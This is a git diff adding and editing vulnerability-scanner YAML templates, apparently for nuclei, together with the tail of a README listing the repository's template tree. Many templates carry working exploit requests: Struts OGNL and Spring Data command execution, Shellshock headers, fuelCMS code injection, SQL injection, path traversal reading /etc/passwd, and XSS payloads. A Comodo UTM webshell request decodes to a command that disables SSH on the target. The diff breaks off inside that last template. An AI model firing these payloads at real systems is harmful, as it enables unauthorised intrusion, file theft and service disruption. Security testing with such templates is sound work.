+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sonarqube-login.yaml
+│   ├── sonicwall-management-panel.yaml
+│   ├── sonicwall-sslvpn-panel.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard.yaml
+│   ├── virtual-ema-detect.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   ├── webeditors.yaml
+│   ├── workspace-one-uem.yaml
+│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
+├── payloads
+│   ├── CVE-2020-5776.csv
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── django-debug-detect.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── jupyter-ipython-unauth.yaml
+│   ├── larvel-debug.yaml
+│   ├── manage-engine-ad-search.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── salesforce-aura-misconfig.yaml
+│   ├── sidekiq-dashboard.yaml
+│   ├── springboot-detect.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-jenkin-dashboard.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   ├── wordpress-accessible-wpconfig.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── apache-detect.yaml
+│   ├── artica-web-proxy-detect.yaml
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── google-storage.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── kong-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
+│   ├── magmi-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── nifi-detech.yaml
+│   ├── oidc-detect.yaml
+│   ├── pi-hole-detect.yaml
+│   ├── prometheus-exporter-detect.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── shiro-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── tomcat-detect.yaml
+│   ├── waf-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
+│   ├── fcm-server-key.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── bullwark-momentum-series-directory-traversal.yaml
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── mida-eframework-xss.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── rconfig-rce.yaml
+│   ├── sassy-social-share.yaml
+│   ├── sick-beard-xss.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── springboot-h2-db-rce.yaml
+│   ├── symantec-messaging-gateway.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi.yaml
+│   ├── vpms-auth-bypass.yaml
+│   ├── w3c-total-cache-ssrf.yaml
+│   ├── wems-manager-xss.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-emails-verification-for-woocommerce.yaml
+│   ├── wordpress-social-metrics-tracker.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   ├── wordpress-wpcourses-info-disclosure.yaml
+│   └── zms-auth-bypass.yaml
+└── workflows
+    ├── artica-web-proxy-workflow.yaml
+    ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
+    ├── grafana-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── lotus-domino-workflow.yaml
+    ├── magmi-workflow.yaml
+    ├── mida-eframework-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
+```
+
+</details>
+
+14 directories, **352 templates**. 
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
 ------
 **Notes:** 
@@ -8,3 +415,4 @@ Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-tem
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
 
 Thanks again for your contribution and keeping the community vibrant. :heart:
+

cves/CVE-2005-2428.yaml

@@ -0,0 +1,20 @@
+id: cve-2005-2428
+info:
+  name: CVE-2005-2428 testing
+  author: CasperGN
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body

cves/CVE-2013-2251.yaml

@@ -0,0 +1,25 @@
+id: cve-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "uid="
+        condition: and
+        part: body

cves/CVE-2014-6271.yaml

@@ -0,0 +1,31 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-10075.yaml

@@ -0,0 +1,23 @@
+id: cve-2017-10075
+
+info:
+  name: Oracle Content Server XSS
+  author: madrobot
+  severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(31337)</script>"
+        part: body

cves/CVE-2017-11444.yaml

@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2017-14537.yaml

@@ -0,0 +1,51 @@
+id: cve-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-14849.yaml

@@ -0,0 +1,21 @@
+id: cve-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-5638.yaml

@@ -0,0 +1,30 @@
+id: cve-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/CVE-2017-7391.yaml

@@ -0,0 +1,25 @@
+id: cve-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body

cves/CVE-2017-7529.yaml

@@ -1,24 +0,0 @@
-id: CVE-2017-7529
-info:
-  author: "Harsh Bothra"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-
-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Accept-Encoding: gzip, deflate
-          Connection: close
-    matchers:
-      - type: status
-        status:
-          - 206

cves/CVE-2017-7615.yaml

@@ -0,0 +1,38 @@
+id: cve-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2017-9506.yaml

@@ -1,9 +1,10 @@
-id: CVE-2017-9506
+id: cve-2017-9506
 
 info:
   name: Jira IconURIServlet SSRF
   author: Ice3man
   severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
 
 requests:
   - method: GET

cves/CVE-2017-9841.yaml

@@ -0,0 +1,36 @@
+id: cve-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: high
+  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-0296.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-0296
+id: cve-2018-0296
 
 info:
   name: Cisco ASA path traversal vulnerability
@@ -12,6 +12,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-1000129.yaml

@@ -1,21 +1,27 @@
-id: CVE-2018-1000129
+id: cve-2018-1000129
 
 info:
   name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
   severity: high
+  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
       - type: word
         words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2018-11409.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-11409
+id: cve-2018-11409
 
 info:
   name: Splunk Sensitive Information Disclosure
@@ -12,7 +12,7 @@ requests:
     path:
       - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
       - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'
-
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-11759.yaml

@@ -0,0 +1,23 @@
+id: cve-2018-11759
+
+info:
+  name: Apache Tomcat JK Status Manager Access
+  author: Harsh Bothra
+  severity: medium
+
+# Source:- https://github.com/immunIT/CVE-2018-11759
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "JK Status Manager"

cves/CVE-2018-1247.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-1247
+id: cve-2018-1247
 
 info:
   name: RSA Authentication Manager XSS
@@ -9,8 +9,14 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "application/x-shockwave-flash"
         part: header
+      - type: word
+        words:
+          - "javascript:alert(1337)"
+        part: body

cves/CVE-2018-1271.yaml

@@ -1,9 +1,9 @@
-id: CVE-2018-1271
+id: cve-2018-1271
 
 info:
   name: Spring MVC Directory Traversal Vulnerability
   author: hetroublemakr
-  severity: High
+  severity: high
   # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
 
 requests:
@@ -11,6 +11,7 @@ requests:
     path:
       - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
       - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2018-1273.yaml

@@ -0,0 +1,34 @@
+id: cve-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body

cves/CVE-2018-13379.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-13379
+id: cve-2018-13379
 
 info:
   name: FortiOS - Credentials Disclosure

cves/CVE-2018-14728.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-14728
+id: cve-2018-14728
 
 info:
   name: Responsive filemanager 9.13.1 - SSRF/LFI

cves/CVE-2018-16341.yaml

@@ -1,10 +1,10 @@
-id: CVE-2018-16341
+id: cve-2018-16341
 
 info:
   name: Nuxeo Authentication Bypass Remote Code Execution
   author: madrobot
   severity: high
-
+  description: Nuxeo Authentication Bypass Remote Code Execution < 103 using a SSTI
 requests:
   - method: GET
     path:

cves/CVE-2018-16763.yaml

@@ -0,0 +1,26 @@
+id: cve-2018-16763
+
+info:
+  name: fuelCMS 1.4.1 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Refrence: https://www.exploit-db.com/exploits/47138
+
+requests:
+  - raw:
+      - |
+        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2018-17431.yaml

@@ -0,0 +1,33 @@
+id: cve-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
